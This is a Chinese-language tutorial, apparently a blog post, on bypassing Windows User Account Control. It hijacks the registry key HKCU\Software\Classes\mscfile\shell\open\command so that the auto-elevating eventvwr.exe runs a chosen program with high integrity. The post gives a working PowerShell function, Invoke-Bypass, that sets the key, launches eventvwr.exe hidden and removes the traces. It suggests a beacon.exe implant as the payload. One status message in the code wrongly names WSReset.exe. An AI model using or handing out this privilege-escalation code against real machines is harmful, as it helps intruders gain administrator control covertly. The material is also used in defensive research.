一、UAC介紹
UAC(User Account Control)是微軟在 Windows Vista 以后版本引入的一種安全機制,通過 UAC,應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員特別授予管理員級別的系統訪問權限。
當前獲得的權限是存在於管理員組的時候但是並且是administrator這個用戶,此時就可能需要我們進行繞過UAC的操作,否則雖然是管理員組但是實際上並沒有管理員所對應的高權限操作,這個時候就需要bypass uac
二、利用注冊表bypass uac
HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKCR = HKEY_CLASSES_ROOT
一些高權限的程序會調用 HKCR:下的鍵值,通過修改 HKCU下面的鍵值同步修改HKCR 下的鍵值,把原來得值改成想運行得程序比如beacon.exe,如果高權限得程序運行過程會調用這個鍵值,就會以高權限運行我們得程序達到bypass uac
sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的權限。
找的話要找highestAvailable得屬性,使用Process Monitor進行過濾規則的選擇,找到程序eventvwr.exe,找到其調用過程,可以發現這條注冊表的項它會進行查詢
eventvwr.exe 首先查詢鍵值 HKCU\Software\Classes\mscfile\shell\open\command,查詢結果為 NAME NOT FOUND;
eventvwr.exe 接着查詢鍵值 HKCR\mscfile\shell\open\command,結果為 SUCCESS,因為修改注冊表HKCU\Software\Classes\mscfile\shell\open\command得值只需要普通用戶權限,所以修改為calc.exe進行測試
win10測試發現沒有加載這個注冊表路徑,win7存在,但是需要手動添加后面得選項\shell\open\command,如下圖所示成功彈出calc.exe
calc.exe程序權限為 high,成功繞過 UAC。
powershell自動化添加:powershell.exe -exec bypass -Command "& {Import-Module .\bypass.ps1;Invoke-Bypass }"
function Invoke-Bypass { Param ( [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe" ) $CommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" $filePath = "HKCU:\Software\Classes\mscfile\shell\open\command" New-Item $CommandPath -Force | Out-Null New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null Write-Host "[+] Registry entry has been created successfully!" $Process = Start-Process -FilePath "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden Write-Host "[+] Starting WSReset.exe" Write-Host "[+] Triggering payload.." Start-Sleep -Seconds 5 if (Test-Path $filePath) { Remove-Item $filePath -Recurse -Force Write-Host "[+] Cleaning up registry entry" } }
參考鏈接:
Win10bypass:https://www.chabug.org/tools/1714.html
http://blog.leanote.com/post/snowming/ec21a4823438